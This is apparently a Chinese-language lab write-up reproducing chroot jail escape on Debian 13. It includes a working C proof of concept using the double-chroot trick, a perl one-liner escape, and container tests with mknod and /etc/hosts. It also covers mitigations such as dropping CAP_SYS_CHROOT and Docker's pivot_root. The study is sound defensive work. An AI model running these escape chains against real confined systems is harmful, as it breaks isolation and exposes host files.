最近看到 chroot 相关的文章。然后深入了解一下,发现提及了 chroot 逃逸相关的,来了兴趣,尝试复现了一下,便将相关过程记录下来。
演示的机器环境为 Debian 13,内核 6.12.101,coreutils 9.7,busybox 1.37。不同发行版可能存在差异,但原理通用。
一、原理
chroot 是 Linux 的一个系统调用,用于将进程的根目录(/)切换至指定目录,此后该进程及其子进程对文件系统的访问便会被限制在这棵新目录树内。它常被用来构建最小化的运行或修复环境,但本身并不具备资源隔离能力——不隔离网络、进程与用户,因此仅靠 chroot 构不成真正的安全边界。
明白了这点,再来看 chroot 逃逸的原理就顺理成章了:chroot(2) 仅修改进程的 fs->root 指针,不改变 cwd——进程在内核中通过 fs_struct 维护根目录(root)与当前工作目录(pwd)两个关键状态,chroot 只替换前者。而路径解析中 .. 的截停规则是:仅当 cwd 与进程 root 相同时,.. 才停止向上解析。因此只要让 cwd 位于新根之上,.. 的约束即失效,进程即可沿目录树向上越过监狱边界。逃逸的核心思路即在于此:制造 cwd 位于新根之上的状态!
二、经典 C PoC 测试
首先以经典的双 chroot 手法验证。编写 PoC 如下:
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <linux/capability.h>
static void drop_all_caps(void)
{
struct __user_cap_header_struct hdr = {
.version = _LINUX_CAPABILITY_VERSION_3,
};
struct __user_cap_data_struct data[2] = {{0}, {0}};
if (syscall(SYS_capset, &hdr, data) != 0) {
perror("capset");
_exit(2);
}
}
int main(int argc, char **argv)
{
const char *marker = "/tmp/outside-marker.txt";
char buf[128] = {0};
if (argc > 1) {
drop_all_caps();
printf("[*] mode: all capabilities DROPPED\n");
} else {
printf("[*] mode: full root caps kept\n");
}
mkdir("sub", 0755);
if (chroot("sub") != 0) { /* 二次 chroot, root=sub */
printf("[X] chroot(\"sub\"): %s\n", strerror(errno));
printf("[RESULT] BLOCKED (expected in drop-cap mode)\n");
return 3;
}
printf("[*] chroot(\"sub\") ok, root=jail/sub, cwd=jail (above root)\n");
chdir("../../../../../../"); /* cwd 位于新根之上, .. 向上爬 */
printf("[*] climbed up via '..' past the jail boundary\n");
if (chroot(".") != 0) { /* 将根重锚定到外部 */
printf("[X] chroot(\".\"): %s\n", strerror(errno));
return 4;
}
printf("[*] chroot(\".\") ok, root is now OUTSIDE the jail\n");
int fd = open(marker, O_RDONLY);
if (fd < 0) {
printf("[RESULT] FAIL: cannot open %s (%s), still confined?\n",
marker, strerror(errno));
return 5;
}
ssize_t n = read(fd, buf, sizeof(buf) - 1);
close(fd);
printf("[RESULT] ESCAPED. host marker file content: %.*s",
(int)n, buf);
return 0;
}编译为静态二进制后放入 jail,以 chroot /tmp/chroot-test/jail /poc 执行,输出如下:
[*] mode: full root caps kept
[*] chroot("sub") ok, root=jail/sub, cwd=jail (above root)
[*] climbed up via '..' past the jail boundary
[*] chroot(".") ok, root is now OUTSIDE the jail
[RESULT] ESCAPED. host marker file content: SECRET-FROM-HOST-debian-13宿主机标记文件被成功读取。关键位于第二行:二次 chroot 之后,cwd 仍停留在原 jail 根(即新根之上),.. 的截停检查随之失效。
同时验证了防御手段:清空 CAP_SYS_CHROOT 后重新执行:
[*] mode: all capabilities DROPPED
[X] chroot("sub"): Operation not permitted
[RESULT] BLOCKED (expected in drop-cap mode)第一次 chroot 即返回 EPERM,逃逸链在首步被切断。可见移除 CAP_SYS_CHROOT 是抵御该逃逸最直接的手段,下文会再次提及。
三、内核不修复?
逃逸复现后,遂去检索了内核社区的相关讨论。维护者在 LKML 中的表态可以概括为:chroot 的逃逸路径过多(cwd、/proc/*/cwd、fchdir、ptrace 等),为修复这些问题而破坏 POSIX 兼容性得不偿失,安全投入应集中于容器方案本身。换言之,chroot 从设计上就不是安全边界,这一结论在当前内核版本中依然成立,属于预期行为。
四、shell 命令逃逸尝试
C 语言可逃逸,那么仅依赖 shell 命令能否实现呢?遂尝试一下。
4.1 coreutils 9.x 封堵 --skip-chdir
shell 中 chroot 依赖外部命令。coreutils 的 chroot 提供了 --skip-chdir 选项,理论上可用于保留 cwd。然而实测直接被拒绝:
$ chroot --skip-chdir sub /busybox echo OK
chroot: option --skip-chdir only permitted if NEWROOT is old '/'
Try 'chroot --help' for more information.该限制源自 coreutils 9.1(2022 年)新增的安全加固:--skip-chdir 仅允许在 NEWROOT 为字面 / 时使用,实质上废除了该选项。随后尝试 .、// 及绝对路径,均被拦截。旧教程中依赖 --skip-chdir 的逃逸方法已全部失效。
4.2 busybox chroot 强制 chdir
改用 busybox 的 chroot,其帮助信息显示:
Usage: chroot NEWROOT [PROG ARGS]busybox chroot 不提供 --skip-chdir 选项,且实现上会在 chroot 成功后立即执行 chdir("/")。通过 strace 跟踪确认:
……
chroot("sub") = 0
chdir("/") = 0
execve("/busybox", ["/busybox", ...]) = -1 ENOENT (No such file or directory)
……chroot("sub") 成功紧接着 chdir("/"),cwd 被拉回新根。此时 cwd 与 root 重合,.. 被截停,逃逸链失效。可见 busybox 在实现层面已破坏"cwd 位于新根之上"这一前提。
4.3 通过解释器裸调系统调用
标准命令均被堵死,可行的替代思路是寻找能够"仅调用 chroot(2) 而不修改 cwd"的执行环境。perl 的 chroot() 与 python 的 os.chroot() 均为系统调用的裸封装,不会附带 chdir 行为。以 perl 执行相同的逃逸链:
perl -e '
chroot("jail3");
chdir("/");
chroot("sub");
chdir("../../..");
chroot(".");
open(F,"<","/tmp/outside-marker.txt");
print <F>;
'执行结果:
chroot(sub) ok, cwd outside new root
HOST FILE: SECRET-FROM-HOST-debian-13逃逸成立。结论是:coreutils 与 busybox 两条标准命令路径均已被封堵,但通过解释器裸调系统调用,逃逸依然可行。shell 内建命令本身不具备 chroot 能力,因此"纯 shell 命令"逃逸需要借助 perl/python 这类提供系统调用裸封装的环境。
五、容器场景
既然普通 jail 可逃逸,那么容器内套一下看看会发生什么情况呢?遂将同一 C PoC 放入普通 alpine 容器(非特权、默认配置)执行:
[*] chroot("sub") ok, root=jail/sub, cwd=jail (above root)
[*] climbed up via '..' past the jail boundary
[*] chroot(".") ok, root is now OUTSIDE the jail
[RESULT] FAIL: cannot open /tmp/outside-marker.txt (No such file or directory), still confined?逃逸链各步骤均返回成功,但最终打开宿主文件失败。检查逃逸后的 /etc/hostname:
escaped-root /etc/hostname = 3fd701287b6a3fd701287b6a 为容器自身 ID,而非宿主机 hostname(debian-13)。说明目录遍历一圈后仍回到容器根。
根因在于 runc 启动容器时使用 pivot_root 而非 chroot。两者差异显著:
- chroot 仅替换进程的 root 指针,目录树仍为同一棵,向上解析
..可回到宿主; - pivot_root 将容器 overlay 根整体切换为独立挂载树,旧宿主根被移出容器 namespace 的可见范围。
因此在容器内无论如何 chroot 换根,都只能在同一棵容器树内进行,物理上无法到达宿主目录树。这一点在多数 chroot 逃逸相关文章中未被提及:chroot 逃逸的适用对象是裸 chroot jail(如 chroot 命令构建的环境),Docker 容器因 pivot_root 的存在,该路径已被架构性封死。
六、两个误区验证
验证过程中顺带对两个流传较广的说法进行了测试。
6.1 mknod 读取宿主磁盘
网上的说法是:容器内是 root,可以 mknod 造一个宿主磁盘的设备节点直接读。实测前半句成立,后半句不成立。
容器内以 root 创建块设备节点,主设备号 8、次设备号 1——即宿主系统盘第一个分区 /dev/sda1 的设备号:
mknod /hostdisk b 8 1 && echo "mknod OK (node created)"
mknod OK (node created)节点成功创建。随即尝试读取:
dd if=/hostdisk of=/dev/null count=1
dd: can't open '/hostdisk': Operation not permittedhead -c 16 /hostdisk
head: /hostdisk: Operation not permittedmknod 创建节点本身不被拦截,但一执行 open() 就被内核 device cgroup 拒绝——尽管容器持有 CAP_MKNOD,device cgroup 在设备访问层做了第二道拦截,节点形同虚设。所谓"mknod 直读宿主盘",是流传较广的误区。
6.2 写入 /etc/hosts 穿越
另一种说法是:容器内 root 可以直接改写 /etc/hosts 这类文件,从而影响宿主。
容器内以 root 向 /etc/hosts 追加内容可以成功:
echo "#PWNED" >> /etc/hosts为验证是否写穿了宿主,先在进入容器前记录宿主三个文件(/etc/hosts、/etc/resolv.conf、/etc/hostname)的 MD5 基线:
md5sum /etc/hosts /etc/resolv.conf /etc/hostname > host-files.before容器内执行写入后,退出容器在宿主侧再次计算 MD5,并与基线 diff 对比:
md5sum /etc/hosts /etc/resolv.conf /etc/hostname > host-files.after
diff host-files.before host-files.after && echo "===> HOST FILES UNCHANGED"输出:
===> HOST FILES UNCHANGEDdiff 无任何差异输出,两次哈希完全一致,说明容器内的写入并未影响到宿主文件。
原因在于 Docker 对 /etc/hosts、/etc/resolv.conf、/etc/hostname 三个文件做了特殊处理:容器内绑定挂载的并非宿主真实文件,而是 /var/lib/docker/containers/<容器ID>/ 目录下的副本(这一点从容器内 mount 输出就能看到来源路径)。容器内的修改只作用于副本,宿主侧纹丝不动。
七、小结
当前环境下 chroot 逃逸存在三层防护:
- coreutils 9.x 封堵
--skip-chdir,旧教程方法失效; - busybox chroot 强制
chdir("/"),从实现层面切断逃逸链; - Docker 容器基于 pivot_root,使 chroot 逃逸在容器场景直接失效。
仍存在的通道为"裸 chroot jail + 解释器裸调系统调用",即 perl 的 chroot() 一类环境。该通道可通过移除 CAP_SYS_CHROOT 关闭。
综合来看,chroot 逃逸在现代环境中已显著受限,其定位应为文件系统视图切换工具,而非安全边界。真正需要隔离时,仍应依赖 namespace、cgroup 与 seccomp 的组合方案。